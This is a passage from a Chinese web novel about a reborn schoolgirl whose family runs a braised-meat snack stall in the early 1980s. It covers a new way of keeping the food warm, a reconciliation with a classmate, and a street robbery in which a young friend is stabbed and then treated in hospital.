苏丽珍看了眼轮到自己时,明显比别人多了那么一点的饺子汤,有些想笑,正想开口说谢谢的时候,心里倏地一动。 煮饺子的汤带着饺子味,原汤化原食啊…… 如果用篦帘加热卤肉时,锅里用的是添加一定比例的原汤调好的卤汤汁,这样长时间保温加热后,是不是既不用担心清水加热造成的味道和颜色流失,也能避免完全的原汤加热导致的卤味味道过咸呢? 或许,她真的可以试一试! “喂,你怎么不喝?” 苏丽珍回过神来,就见谢芳芳正抱着饭盒嘟着嘴巴盯着她,大有一副“你今天不喝,我就闹给你看”的架势。 她压下心底的雀跃,喝了一口,诚意十足地赞美道:“很好喝,谢谢你。” 她确实要谢谢对方,毕竟困扰了他们家这么久的问题似乎终于有了解决的办法,她自然高兴。 谢芳芳看着她弯起唇角笑眯眯的样子,身上那股凶巴巴的气势便怎么也摆不出来了,只能故意绷着脸回到自己座位上。 苏丽珍看她跟其他人热络说话,却三不五时偷偷往自己这边看的样子,终究忍不住笑出了声。 不一样了,无论是她,还是谢芳芳。 她相信,这一世的她们会有一段更美好的高中岁月—— 当天晚上一回家,苏丽珍就跟父母提出自己白天的构想。 把卤味放在篦帘上隔水加热保温,锅底不用清水,而是用稀释过的卤汤,等加热时,锅内循环的蒸气就会自带卤味香。这样长时间加热,食物味道不但不会流失,反而会越发香浓。 苏卫华夫妻俩坐在灯下一琢磨,都觉得这办法不错! 夫妻俩第二天迫不及待尝试了一下,果然效果跟预想的一样好。 李翠英又摸索了两天,终于根据加热的时间长短总结出合适的原汤稀释比例,现在按照这个方法,他们家的卤味放在锅里再长时间也不怕走味、变形。 到时候就算是寒冬腊月,大家也随时都能吃上这一口热乎乎的美味。 想出了保温的办法,接下来就是开发新菜品,增加卤味种类的问题。 这里自然还是指荤菜类。 本来之前苏丽珍还为肉类货源供应问题发愁,可这几个月摆摊下来,他们家算是小有名气,也能接触到一些类似“黑市”的隐秘渠道取货。 这些人大多是偷偷从周边乡下收猪,回来私下屠宰贩卖,苏丽珍很早以前就知道有这么个渠道,只不过一直接触不上,如今能搭上这条线,家里的肉类能稳定供应不说,还省了不少事。 除了猪肉类,苏丽珍还想再做一些卤鸡和卤鸭,如今农村不限制养殖,家家户户只要有条件都抓了不少鸡鸭饲养。 光是张表舅他们大队,因为粮食够吃,这两年平均每家一年都能养上二、三十只,算是农户之家重要的进项了。 苏丽珍和苏卫华夫妻俩商量好,天冷收不到新鲜蔬菜就让张表舅改收鸡鸭。 现在他们家主打的是卤味,每天除了为照顾一些老客会做几笼包子外,其他都会停掉。 一家人商量好,收上来的鸡鸭到时候让张表舅一家直接帮着宰杀、收拾干净,每只给一毛钱的处理费。除了鸡鸭的心、肝、胗、肚、蛋包之外,诸如血、肠、腰子之类都可以让他们自家留下。 张表舅起初还不肯,觉得太占他们家便宜。苏家现在跟他定的是每天鸡鸭各五只,不说收这些鸡鸭挣得钱,就是每天的处理费都有一块钱,一个月下来,那就是三十块! 他觉得农村最不值钱的就是一把子力气,干这活就像玩似的,收了那么多钱还留东西,这哪像话! 还是苏家人一再坚持,他没招了,才答应下来,不过自此为苏家人做事也更加用心。 凡是经他手收上来的鸡鸭,品质好、秤头足不说,还收拾得特别干净齐整,别提让苏丽珍一家多省心了。 于是转天,赶上苏丽珍休息的大礼拜,珍珍小吃家终于久违的又上新了! 虽然仍然是卤味的范畴,但是这次的种类可是增加了不少,除了卤鸡、卤鸭,还有猪肘和头蹄下货。 几口大锅的锅盖一掀,那股浓郁的卤肉香立马飘出了几条街,勾得人老远就迈不动步了! 尤其上新第一天,珍珍家为了回馈新老客户,但凡今日购买新品卤味中的任意一种,都额外赠送一份卤制好的鸡鸭下货,而且是多买多得,叠加不限量! 这么一来,当天的生意简直火爆极了!哪怕苏丽珍一家对此早有准备,特地多备了不少货,还是被热情的顾客们一扫而光,原本预计能卖一天的卤味最后到中午就没剩下什么了。 一家三口加上帮忙的林小麦,四个人都忙活得嗓子冒烟、手脚发酸。 不过虽然累了一点,收获也是实打实的丰厚! 卤鸡和卤鸭是最先卖光的。 这些鸡鸭,他们给张表舅的价格是活鸡五毛一斤;在东北,鸭子比不上鸡受欢迎,价格略低,一斤四毛钱。 如今还没有白羽鸡这种舶来品,本土的鸡种无论是生长速度还是出肉量都远远不及前者,加上没有专门对应的精饲料,所以普遍一只鸡的重量仅在三斤到四斤左右。 一只活鸡宰杀收拾干净后,净重约莫在一斤七两到三斤之间;鸭子的重量也差不多。 他们家卤鸡定价一块五一斤,卤鸭一块三。 苏丽珍算了下,今天光是十只卤鸡、卤鸭这部分,他们就净挣了十八块钱! 而其他猪肉类的收益甚至更高! 果然,当天回家一盘账,这一天的净利润居然达到了七十块! 差不多比从前翻了一番! 连已经习惯了家里摊子挣钱速度的苏卫华夫妻都有点不敢置信,现在钱这么好挣吗? 苏丽珍知道今天主要是不少人图新鲜,等过了这股新鲜劲儿,这个热度也会一点点降下来。毕竟这些荤类味道虽好,但是价格委实不便宜,平时大伙儿也就是隔三差五买点解解馋,不可能像买花生、毛豆那样天天光顾。 加上考虑到可能有人跟风,虽说她对自家卤味的味道有信心,但是她也深知“人外有人”的道理。去掉像王老四那样恶意竞争的,肯定不乏真正手艺好的人,到时势必会对他们家的小吃摊造成一定冲击。 所以要维持今天这么高的营业额并不容易。 不过看见爸妈这么高兴,她也没有把这些话说出来扫兴。 反正有她呢! 她虽没那么大野心,但是重活一回,又赶上如今这个千载难逢的好时代,只要她能抓住机遇,让父母过上更好的生活,哪怕前方是刀山火海,她也会闯过去!《 》 50-60 第51章 日子过得飞快,一转眼就进入了十二月份,天气也越来越冷。 不过有苏丽珍之前想出的好办法,即便是零下十几度的天气里,他们家的卤味也始终热乎乎的,关键还一点不走味儿,因此格外受大伙儿欢迎。 所以哪怕过了最初的新鲜劲儿,他们家每天的净利润依然能维持在六十块左右,放眼如今人均工资三、四十块的年代,这已经相当了不起了。 但是即便家里生意再好,这么冷的天,苏丽珍还是因为心疼父母,坚决不同意他们每天出摊时间太长。 她跟苏卫华夫妻俩约定好,每天上午九点多出摊,下午两三点钟必须收摊。 夫妻俩感念闺女这份孝心,加上苏卫华的身体确实不适合长时间在外吹冷风,让他留在家里,他又不肯,所以便答应了闺女的要求。 天冷以后,苏丽珍留在学校里吃饭的次数也多了起来,虽然每天下课要提前把饭盒送到食堂或锅炉房加热有些麻烦,但是课间时这样动一动,也有利于放松身体。 而且每次班上十几个外宿生集体行动,大家一路上嘻嘻哈哈、说说笑笑也挺有意思的。 因为太热闹,引得一些平时玩得好的内宿生也跟着他们出来溜达,这样队伍一下就壮大了不少,跟别的班级零星三五个人的小团体行动截然不同。 所以不到半个月,高一二班课间的“饭盒大队”就成了学校一景儿了! 这天周六,明天礼拜天正好能休息一天。临到放假前的时间肯定是最轻松的,所以即便今天天公不作美,阴云密布,北风呼啸,简直能冻死个人,可大伙儿还是心里惬意得很。 第三节课下课,做完眼保健操,大伙儿揣起饭盒就呼朋引伴往食堂跑。 结果出了教学楼,刚走到空旷的操场上,就差点被凛冽的寒风吹t个倒仰。 男生们不服输,把饭盒揣进棉袄里,用咯吱窝夹着,两只手艰难地捂着耳朵,头一偏,就嗷嗷怪叫着迎着大风跑了起来。 好在今天天冷,操场上没什么人,要不然这一大群鬼哭狼嚎的,要是让教务处抓住,保准一顿批评教育少不了。 不过男生们疯是疯,却很有风度,他们自发地一个挨着一个并成一大排跑在前头,也替后头女生们挡了不少风。 苏丽珍几个女生见了,又是好笑又是暖心。 杨淑萍小声嘟囔道:“这么跑要是把饭盒弄洒了怎么办……” 不想,一语成谶,她这边话音刚落,就听那边“嗷”一声惨嚎:“我的妈呀,我饭盒漏汤了!我姐也真是的,炒个土豆丝还能出这么多汤……” 女生们这下都憋不住,笑出了声。 结果这一笑,大家齐刷刷被迎头一股冷风灌了个满嘴、满肚,冻得门牙生疼。 可饶是如此,大伙儿还是抑制不住地想笑。 于是就这么嘻嘻哈哈地跑了一圈回来,等再回到教学楼的时候,一个个都咧嘴歪脸,差一点就冻僵了。 这一幕被同年级路过的学生瞧见了,还忍不住私下感慨:这二班的人真团结,这么冷的天一大帮子人跑出去还这么乐呵!哪像他们班,想托人帮忙送个饭盒还得抓阄、猜拳、排班次,差点错过了时间。 吃完中午饭,苏丽珍在水房清洗手绢。 之前她把手绢借给了衣服被弄脏的同学应急,现在正好趁午休的时候过来洗一洗。 刚开始涂肥皂,就见谢芳芳也慢吞吞地进了水房。 苏丽珍余光瞥见这人先是故意在她身边走来走去,后又趁她不注意不停拿眼瞄她,像极了他们胡同里那只整天惹事被人说的花猫,心里不觉好笑。 前些日子,她曾委婉地提醒过谢芳芳,想要融入大家不能一股脑的只想着送饺子,可惜谢芳芳在家做惯了小霸王,骄傲的老毛病一犯,压根没理解苏丽珍的好意不说,还以为她在笑话自己,当场就变了脸色,急头白脸地发了好一通脾气,之后就开始不理睬她了。 苏丽珍对此并没在意。她之所以这样做完全是因为那天有那么一瞬间,将对方代入了上辈子的自己,不希望看到这个表面骄傲、内心脆弱的女孩重蹈自己的覆辙。 但现实是,她与对方非亲非故,对方不愿接受她的规劝也属正常,她能理解,所以实在犯不上为这点事闹口舌。 不过这几天,这小姑娘不知是想通了还是怎么着,三不五时就往她跟前儿凑,只是每次凑过来要么半天不说话,要么支支吾吾许久才说一两句无关痛痒的话。 苏丽珍心知她心高气傲,也不多说什么,反正只要对方想通了就好。 果然,谢芳芳像画圈似的围着她转悠了半天,终于鼓起勇气站到她身边,状似自言自语似的嘟囔道:“张旭也真是的,把人家手绢弄脏了,也不自己洗……” 张旭就是先前被菜汤弄脏衣服的男生。 苏丽珍一点也没有被人没话找话说的尴尬,十分自然地回道:“他棉袄擦干净了,也弄湿了老大一块,今天怪冷的,我就没让他出来。” 谢芳芳听了本想说句什么,但嘴巴动了动,却没说出口,最后只是“哦”了一声。 苏丽珍没再接话,气氛又安静了下来,谢芳芳憋得难受,好半天又硬生生憋出一句:“你这肥皂挺好用的……” 苏丽珍:“……” 教室讲台西南角有个一平方米左右的空间,苏丽珍和卢向阳号召大伙儿利用废弃的木桌,加上用班费购置的材料,做了一个简易书柜。 书柜上面是三层书架,上面放着同学从家里拿来的名著、报刊,供大家闲暇时间阅览。 书柜底下是个小柜子,里头放着暖瓶和两个空罐头瓶。罐头瓶,大伙儿谁忘记带水杯可以拿去用,用完刷干净再放回原处。 苏丽珍看柜子里还有不少空间,又自己往里添置了一个针线盒、一块肥皂和一条手巾,给大伙儿平时使用,为此也得到老师和同学们的一致好评。 所以别看谢芳芳话说得别扭,其实是在拐着弯儿地夸苏丽珍。 苏丽珍心里好笑,只面上不显,顺着她的话说道:“我家里也用这种,使着挺习惯。” 这话谢芳芳却不知道怎么接,她平时在家连袜子都不洗,压根不知道这东西好用不好用,只能含糊着应了一声。 气氛一时又安静下来。 眼瞅着苏丽珍手绢洗完,就要回教室了,小姑娘这才绷不住,一把扯住她一角衣袖,别别扭扭道:“你先别走……那个,我、我是想跟你道歉的……上次你跟我说的那些话其实是为我好,我不该跟你发脾气的。” “还有开学那次,其实也是我不对,我不该那样讲话……” 听到对方连开学那一回也道了歉,苏丽珍不由有些惊讶,挑眉看向对方。 谢芳芳低着头,小声解释道:“那天是我姥爷动手术的日子,他有很严重的胃病,医生要切除他三分之二的胃部……我很担心,可又刚好赶上我开学的日子,妈妈和姨姨她们都不允许我耽误……我实在太担心了,所以心情很不好,就冲你们发了脾气,对不起……” 听到是这么个原因,苏丽珍便点了点头:“我明白了,我能理解你的心情,所以你的道歉我接受了!” 顿了顿,她又问道:“那你姥爷现在身体怎么样?” 听苏丽珍问起这个,谢芳芳的嘴角不自觉扬了起来,“我姥爷他术后恢复的很好,虽然吃东西要忌口,但是因为不再像之前那么疼,他现在反而还胖了一点!” 见苏丽珍听她说完之后脸上也露出了笑容,谢芳芳看着对方的目光越发真诚。 她现在有点明白为什么爸爸妈妈劝她一定要跟这个同学好好相处了。 于是,谢芳芳鼓足勇气继续说道:“我知道我脾气大,我行我素惯了,从来不会站在别人的角度去考虑问题。你上次跟我说的那些话其实都很有道理,也是我最应该注意改正的地方!我不该小人之心误会你!” 有些话一旦开了头,后面就不难开口了。 “我家人告诉我,真正为我好的人才会实事求是地指出我的缺点,她既不会因为我们关系好就一味放任、迁就我,也不会因为心存恶念故意蒙蔽、欺瞒我。” “而你能在那样的情况下,还对我说真话、说实话,说明你这个人还不错,值得结交,也不枉我谢芳芳拿你当作对手!” 这话说得真是狂妄得很,不过却很有谢芳芳的风格,老实说,这个风格才是苏丽珍熟悉的谢芳芳,之前那样吞吞吐吐、举棋不定的样子,她还真有些不适应。 不管怎么说,能被人理解自己的好意总归是一件令人愉快的事。 面对对方这副骄傲的小模样,苏丽珍也不由弯起了唇角。 两人相视而笑,颇有点一笑泯恩仇的意思。 正待苏丽珍想顺着对方的话调侃两句,这时,外头走廊里忽然响起一串脚步声。 竟是卢向阳满面焦急地找了过来,见着她就喊:“丽珍,有个叫丁大勇的人来找你,说你家出事了!” 第52章 苏丽珍脑子里“嗡”地一下,手里的手绢都差点拿不住了。 勉强稳住心神,她把手绢、肥皂交给谢芳芳,就和卢向阳急匆匆往教室赶。 回到教室,果然一眼就看到丁大勇和班主任李老师正等在门口。 苏丽珍的心一下就提到了嗓子眼。 好在丁大勇也担心她着急,见她过来第一句话就是:“师妹,你先别急,师父和师娘他们人没事!” 苏丽珍听得这一句,心里立时稳了不少。 只要人没事,其他的都好说! 但她心里也明白,如果不是实在出了要紧事,丁大勇也不会直接找过来。 不过眼下也不是细问的时候。 李老师一见她来,确定了苏丽珍与丁大勇熟识,便立即给她签发了假条。 一高的管理十分严格,不管内外宿生,平时没有假条都不能出校。 等出了校门,都不用苏丽珍开口,丁大勇忙不迭说道:“师娘今天上午被人给抢了!不过人没啥大事,就是受了点惊吓,加上损失了差不多八十多块钱。” 听到是t抢劫,苏丽珍脸上倏地一白,脑海里立时浮现出前世严打前期那一桩桩骇人听闻的惨案。 老实说,不管是经商还是做小买卖,搞个体的就没有不怕“打家劫舍”这四个字的! 尤其重生一回的她知道,接下来的几年伴随着经济蓬勃发展,他们还要迎来一波犯罪高发期! 想想前世那些犯罪分子的凶残手段,好多索财又索命,怎么能叫她不胆战心惊?相比之下,损失的八十块钱虽然不是小数目,可与李翠英的人身安全比起来,实在不算什么。 苏丽珍想着好歹人没事,一切都好说,却不想丁大勇接下来的话让她的心又重新提到了嗓子眼。 “师娘倒是没啥事,就是那个叫小麦的姑娘,出事的时候正好跟师娘在一起,她帮师娘挡了一刀,伤得不轻!” 丁大勇见苏丽珍面色骤变,他近来也常听师父一家提起这个小姑娘,知道他们平时相处得好,于是赶忙宽慰她道:“小麦姑娘虽说流了不少血,但没伤到要害处!医院给及时输了血,还说接下来只要好好养着,一般不会有啥事!” 两人匆忙往医院赶,路上丁大勇说起了详细经过。 原来,李翠英听说南湖公园门口新来了一个专卖羊毛衫的摊子,据说都是海市那边的货,质量好、样式时髦不说,还比百货商店便宜,就动了心思想给苏丽珍买两件。 正好今天摊子生意特别好,不到中午,几大锅的卤味就卖得差不多了,她索性就留下苏卫华一个人看摊,自己先去南湖公园给闺女买羊毛衫。 客运站离南湖公园不算近,李翠英为了节省时间,回来时就抄了一片胡同里的小道,赶巧就碰见了正给人送鸡蛋回来的林小麦。 林小麦的摊子之前一直卖些山货和手工编织品,这些东西有季节性,天气放冷后,生意就不好了。 苏丽珍知道她每天都要在乡下和城里之间往返,干脆就给她出主意,让她在就近的大队里收些鸡蛋、菜干之类的农副产品,然后在城里倒卖。 反正她一个人小打小闹也不惹眼,这样每天一进一出,至少也能挣个块八毛钱的,一个月下来也是一笔很可观的收入。 林小麦今天就是帮一个常来她摊子光顾的老太太送鸡蛋,回来的路上正好碰见李翠英。 今天天气冷,又赶上饭点,胡同里都没什么人,俩人冷不丁遇上还挺高兴的,一路有说有笑地往回走。 李翠英正说起南湖公园的羊毛衫摊子,刚说到兴头上,迎面就走过来一个步履匆匆的男人。 当时这男人半低着头,头上一顶雷锋帽压得特别低,几乎遮住了半张脸,不知道是赶时间还是怎么的,步子迈得飞快不说,还不好好看路,一下就撞到了李翠英身上,把李翠英手里装羊毛衫的布兜都给撞脱了手。 然而对方撞了人,只慌里慌张地说了一句“对不住”就急着要走,李翠英当时也没多想,只顾着弯腰捡布兜,还是林小麦反应快,直觉不对猛地回身一把拽住那个男人,又喊李翠英赶紧看看身上的钱还在不在! 李翠英这才醒过神来,赶紧低头去看自己的衣兜,果然发现身上棉袄的衣兜外侧不知道啥时候竟然被划了一道四、五公分长的口子,兜里原先揣着的二十多块钱早已不翼而飞! 那男人估计不是什么老手,原本就慌张,冷不丁被林小麦揪住后,更是乱了手脚,居然没有第一时间挣脱开,刚好给了李翠英机会,让她顺势上前和林小麦一起把人按住,果然在这人缩进衣袖的右手里,找出了自己那一卷钱! 也是这个时候变故突生,李翠英后方突然冲过来一道人影,林小麦那会儿刚好侧身站着,一眼就看到对方手里正拿着一把匕首,当时只来得及喊了一声“婶子”,就一把推开李翠英,自己抢身挡住了这一刀! 那男人得手后,捡起李翠英掉在地上的羊毛衫口袋,拉起那个瘦男人,俩人就飞快逃跑了。 等李翠英反应过来,看见林小麦被刺了一刀,当场肝胆俱裂,什么也顾不上,紧忙抱着林小麦大声呼救,直到胡同里的住户听到动静跑出来,这才赶紧帮忙把人送到医院。 其中有一家人凑巧是珍珍小吃的常客,还帮忙给当时正在客运站门口看摊的苏卫华捎了信。 “我吃完中午饭去上班,路上碰见的我师父。我当时就发现他脸色特别不好,上前一问才知道出了这么大的事。” 丁大勇怕苏丽珍担心,又宽慰道:“好在师父说,那会儿小麦姑娘已经出了抢救室,情况基本稳定了,他这才赶回来收拾东西给小麦姑娘住院用。” 现在住院不像后世,一应东西齐全,基本上都是靠自家准备,所以比较麻烦。 苏丽珍点了点头,紧蹙的眉头却一直没有松开过。 这次的事真的太险了,虽然李翠英平安无事让她心底有一丝庆幸,可想到小麦为他们家遭了这么大的罪,心里又有些沉重。 小麦甚至还没成年,可千万别留下什么病根才好! 那边丁大勇继续说道:“我帮师父收拾了一些东西,把他送到医院,听说你们那摊子还在客运站没收回来,我就跟师父、师娘打了招呼,过来先帮你们把摊子送回家。这回来路上经过你们学校,我想来想去,觉得还是应该先来告诉你一声。” 他知道小师妹年纪虽小,但是个能拿事的人,脑子又特别聪明! 师父本来身体就不好,师娘呢,今天又连番受惊吓,看着精神头也不足,这个时候,真就得有小师妹这个主心骨里外拿主意。 所以他思虑再三,一咬牙,还是决定来找小师妹。 苏丽珍听罢,面色稍缓,“大勇哥,谢谢你想着先告诉我一声。我爸妈的性子我了解,他们一定是怕影响我学习,想着能拖就拖,可既然出了这么大的事,又能拖到什么时候?既然我早晚都要知道,与其晚知道还不如早知道,起码关键时候能帮着分担一些……就是耽误了大勇哥你,今天下午这半天工又没了!” 丁大勇听见这话不干了,“师妹,你说这话可太见外了,你知道的,我一向把师父师娘当成亲爸亲妈看待,你们家有事,我肯定第一个上的!” 再说,要不是之前师父一家又是给他出主意、又是送辣酱方子的,他们老丁家现在指不定什么样呢! 就说这卖烤苞米,短短三个月,他一个人就挣出了平时两年的工资! 后来天气冷了,小师妹又建议他重新焊炉子,改卖烤地瓜和烤饼。虽然没有烤苞米那会儿挣得多,但是一个月下来也不少呢,起码比他上班挣得可多多了! 想到家里的老母亲和小外甥女今年刚一入冬就都穿上了崭新的棉袄、棉裤,他对师父一家真是说不尽的感激。 所以别说眼下给师父家帮这点小忙,就说如果他也遇到师娘那种情况,他也会像小麦姑娘一样毫不犹豫地上前挡刀! 虽然苏丽珍听不到丁大勇的心声,但是经历过上一世的她知道眼前这个人对自家父母的一片真心,也就不再跟对方客套了。 今后她还有更多的时间能好好回报对方。 两人很快到了医院,丁大勇之前陪苏卫华来过一次,所以这次直接带着苏丽珍去了林小麦住院的病房。 没想到,他们才刚一进病房,就被同病房的病人家属告知,今天新来的那个小姑娘突然出现术后并发症,半个小时前又被送急救室抢救去了! 两人一下慌了神,丁大勇更是嗓子都变了调,“这咋回事啊!明明之前我陪师父过来的时候,人还好好的!” 苏丽珍的心也一下就提到了嗓子眼! 两人不由分说又直奔抢救室,果然老远就看见抢救室门头上的指示灯明晃晃亮起一片,苏卫华和李翠英夫妻俩正焦急地守在门口! “爸、妈!” 苏卫华两口子闻声回头。 苏丽珍一眼扫过去,只见两人一个脸色发青、一个满脸是泪,俱是憔悴不已。 第53章 “珍珍,你怎么来了!” 丁大勇有些惭愧道:“对不起,师父、师娘,是我去找的小师妹。” 苏丽珍赶忙接口道:“爸、妈,你们别怪大勇哥,是我之前拜托他,要是家里有什么事一定要及时通知我!正好明天周末放假,今天下午t也没什么重要的课,我就跟老师请了假出来……咱们先不说这些,爸、妈,小麦现在究竟是什么情况?” 夫妻俩听见闺女这样说,也不好苛责丁大勇自作主张,最关键的是,两口子知道,当看见能拿主意的闺女来了,他们一直慌乱不安的心就像有了依托,瞬间有了依靠。 李翠英抹了把脸上的泪,说道:“本来手术很顺利,大夫只是说小麦有些营养不良,这次失血过多需要好好休养。之前也一直好好的,就是大勇刚走那会儿,人还醒了一阵,跟我们说了好几句话。” “我和你爸怕她累着,让她再多睡会儿。哪想这孩子刚睡着没多久就开始发烧,接着伤口又渗血,你爸急忙去喊大夫,就这么个前后脚的工夫,这孩子就休克了……” 想到之前的凶险,李翠英的眼泪又止不住地流了下来。 苏卫华拍了拍妻子的肩膀,接过话道:“刚刚大夫出来了一趟,告诉我们小麦的情况很特殊,她身体一点也不像表现的那么好,他们发现她身上原来有很多慢性炎症,这才导致了这么严重的术后并发症。” “好在人是救回来了,大夫说等情况再稳定稳定就能出来……只不过这次的坎虽然过了,可这孩子今后的身体都不会太好,要是不注意休养,说不定还要影响寿命。” 苏丽珍和丁大勇霎时都变了脸色。 苏丽珍更是心头一恸,她没想到会是这么个结果,毕竟小麦还这么年轻,如果未来许多年都要拖着一副孱弱的身体,这对她何其残忍! 她缓了好一会儿,才坚定道:“不管要花多少钱、要用多长时间,我们都要让小麦好起来!凤城不行,就去首都;西医不行,就换中医!报纸上不是经常说,改开后我们国家引进了不少先进的医疗技术,我相信今后的医疗条件一定会发展的更好,咱们肯定能让小麦重新恢复健康。” 她重活了一回,知道今后国家在各领域都会有突飞猛进的发展,其中自然也包括了医疗方面!就算他们国家的医疗手段无法满足,她也可以带小麦去国外,反正不管怎样,她一定要让小麦好起来! 苏丽珍语气里的坚决让夫妻俩也生出了不少信心,是啊,只要人活着,一切就都有希望。 只是他们心里实在愧得慌,看这孩子遭了这么大罪,他们怎么对得起她?又怎么跟人家父母交待啊! 想到这个,李翠英才猛地抬头道:“对了,咱们还一直没给小麦的家人去信,这可咋办,这事得尽快让人孩子的爸妈知道啊!” 关于小麦的家人,这一直以来也算是个谜。小麦从来没提过有关他家人的事情,起先李翠英问过两回,她每次都是一副不愿多提的样子,一来二去,他们也就不问了。 不过苏丽珍倒是从她偶尔的一两句话里猜测,小麦好像是一个人生活,只是对方实在是抗拒这个话题,所以她也没认真确认过。 结果到现在,他们也就只是知道小麦住在凤城西边相隔十五里路的一个大队上,这么一个有用的信息。 苏丽珍叹了口气,按说,他们现在就该找人去那个大队打听打听,但是她心里莫名有一种直觉,就是小麦不见得会高兴他们去找她的亲人,或许他们在找人前也应该先征求一下小麦本人的意愿。 脑海里闪过每次提及家人时,小麦避之不及的态度,苏丽珍思虑再三,还是劝苏卫华夫妻道:“这件事咱们还是先缓一缓吧。” 面对父母两人不太赞同的眼神,她叹息着又解释道:“爸、妈,我一直没有跟你们说,小麦她现在很可能是一个人生活。” 苏卫华和李翠英闻言一怔。一个人,难道小麦是孤儿? 夫妻俩随即想起小麦从不愿提及家人的模样,如果说这是因为她自己是个孤儿,所以不想谈论这个伤心的话题,这样的反应倒也情有可原。 李翠英不由喃喃道:“怪不得这孩子总是独来独往,又连几件像样的衣服都没有,原来是没有家人……” 打从他们认识林小麦那天起,这孩子从夏到秋就只穿着一件灰扑扑的补丁褂子,连入冬的棉袄里也掺了大半的芦苇花,天冷出来摆摊,一张小脸都冻得发紫。 还是李翠英发现的早,把苏丽珍的一件旧棉袄改了改,好说歹说才劝她换上。 苏卫华不免有些心疼道:“说不定这孩子真就是个孤儿,想想也真是怪难为她的……” 夫妻俩一时都觉得心酸不已。 苏丽珍却不这么认为,依她对小麦的了解,孤儿的身份不至于让她如此避讳这个话题。 她的爸妈一辈子和善为本,以诚待人,在他们的心中,父母爱子女是一种本能。但事实上,这个世界有许多人从原生家庭中得到的痛苦远比快乐多。 她想起上辈子她偷/渡米国,从南边的鹏城出发,途经海对面的香江城转道。当时路上碰到不少女孩子,她们生在极度重男轻女的家庭,因为不甘被家人像牲口一样卖掉,所以从家里偷跑出来,哪怕身无分文,却宁愿冒着葬身大海的危险,也要游到海对岸。 对于她们来说,父母亲人之于她们的,只有无尽的痛苦,甚至需要她们去豁出命地逃避。 她不希望小麦是这种情况,但心里却隐隐有种预感,小麦所承受的那些艰难很可能就是源自她的亲人。 “爸、妈,小麦是不是孤儿不一定……但是如果她有亲人,而她的亲人能眼睁睁看着她一个女孩子在这么冷的天气里早晚奔波挣钱,身上却连件厚实点的衣服都没有!这样的人,我不认为他们会当真在乎小麦的死活!” 苏丽珍最后拍板,“与其真把这所谓的亲人接来,倒不见得是什么好事,所以我建议咱们还是等小麦醒了,问过她的意思再说。” 苏卫华夫妻俩到底被闺女的话触动了,最终还是同意了苏丽珍的想法。 苏丽珍随后又问两人:“爸、妈,你们报警了吗?” 李翠英点头,“是当时的好心人帮忙去报的警,公安来得也挺快,那会儿小麦还在抢救室。来了两个公安,问了我不少问题,说这次的案件性质恶劣,他们会尽快调查清楚,帮咱们抓到凶手!” 苏丽珍点了点头。 能抓到自然好,但是她也做好了期望落空的准备。不是她悲观,而是受限于目前落后的刑侦检测手段,许多案件最终都变成悬而未决,即便她有心为小麦和妈妈讨一个公道,在这方面实属无能为力。 但是这次的事也给她敲响了警钟,重生不是万能的,她不再是上辈子的自己,而周围的一切也都在变化,那些前世的记忆也只能作为一个参考。 换句话说,即便重活一回,她也不知道明天和意外,哪个会先来…… 苏丽珍低头揉了揉眉心,今天多少有些被吓到了,让她的心志也有些动摇。 这是不应该的,她告诉自己。 不管怎样,她的决心不会变,她要做到更好。 如果她足够强大,当那些不可控的意外出现时,或许她就会有更多底气去应对。 正思量间,抢救室门头上的指示灯忽然灭了,很快大门被推开,主治医生率先走了出来。 “病人的情况现在基本稳定了,不过这两天还要注意观察,不能松懈。” 听见这话,在场的人全部松了口气,无论如何,小麦总算过了这道坎儿。 医生又嘱咐道:“你们要有思想准备,病人之前的身体条件很差,接下来要面对的恢复过程会更漫长一些,这也需要家属更多的配合。” 苏家人闻言立马表态:“大夫,您放心,我们就是这孩子的家属!今后一定会好好配合医院的治疗,只要能让孩子好起来,您怎么说、我们就怎么做!” 主治医生听完了这话,心里也是稍微放松了些。 他听说了患者受伤的缘故,看那孩子明明小小年纪,却把身体糟蹋成那副样子,显然是原本家里条件就不好。如今又为这家人挨了一刀,几乎是鬼门关上过了一遭,即便今天抢救过来,后续身体也不容易养好。如果得不到精心地照料,影响寿命是必然的! 假如这家人最t终也被高昂的治疗费用吓跑,那这孩子的结局可想而知。 所以听到苏家人斩钉截铁的保证,医生的态度越发温和起来。 “你们也不用担心,针对患者的情况,我已经邀请了内科的两位老专家会诊,之后会根据她的病情拟定方子。在调理和修复身体这方面,我们的中医要强过西医,所以你们也要有信心。” 苏家人自然又是感激着连番道谢。 又过了一会儿,还在昏睡着的林小麦才被护士推了出来。 看着那张苍白的小脸,苏丽珍眼泪差点掉下来。 她飞快抹了把眼泪,跟护士一起把小麦送回病房。 现在这个年月还没有后世的重症监护室,重病的患者也只能住在普通病房。 不过,如今去医院看病是件奢侈事,高昂的医药费让许多人一辈子都没迈过医院的大门。 林小麦所在的病房里一共有八张床位,可眼下算上她,才将将四个病号,其中一个还明天一早就要出院了。 第54章 病房里人少清净自然也是好事。 之前,苏卫华从家里带来的东西还没来得及收拾,就赶上小麦病情加重,这会儿苏丽珍便陪着李翠英一起先整理东西。 丁大勇让苏卫华坐着休息,自己拎着暖水瓶去开水房接热水,回来一问师父、师娘到现在连中饭也没吃,就张罗着要回家做点吃的带来。 因为不是饭点,医院食堂和附近的国营饭店都不开门,苏丽珍也就没和他客气。 看见李翠英身上的衣服还带着血迹,她又让丁大勇去趟她家帮忙给李翠英带件干净棉袄。 丁大勇走后,苏丽珍先是用棉签沾了温水给林小麦润了润嘴唇,又见父母满脸憔悴,就端起脸盆准备打点热水给两人擦擦脸。 结果端水回来的时候,就见一个老太太正顺着房门上那扇小小的菱形窗子往病房里张望。 苏丽珍一凝神,一下想起来之前她送大勇哥下楼时,好像这个老太太就一直在这片走廊里盘桓。 这是在找人? 她刚想张口问一声,没想到对方转头一看见她站在那里,登时吓了一跳,竟然二话不说,扭头就走了! 苏丽珍:“……” 她也不至于长得这么吓人吧! 结果没等她多想,对方忽然去而复返,站在原地一边仔细打量苏丽珍,一边犹豫着开口问道:“闺女啊,我打听一下,就你们照顾的那个小姑娘,她是姓林不?” 苏丽珍惊讶了一瞬,很快反应过来对方应该是认识林小麦的人,于是赶忙点头道:“对,大娘!她是姓林,叫林小麦,请问您认识她吗?” 老太太一听“林小麦”三个字,面上的神色有些复杂,似唏嘘,又似无奈,她没有回答苏丽珍的问题,反而又问道:“那闺女你是她什么人?我听说你们病房今天下午新来了一个救人重伤的小丫头,那小丫头是小麦这闺女不是?” 苏丽珍见对方似乎对自己怀有某些警惕,但言语间提及小麦时却没什么恶意,甚至还带着关怀之意,想了想,倒也没避讳,耐心回答道:“小麦是我的好朋友,我们是一起摆摊认识的,她今天的确是为了救我们家的人才出的事。” 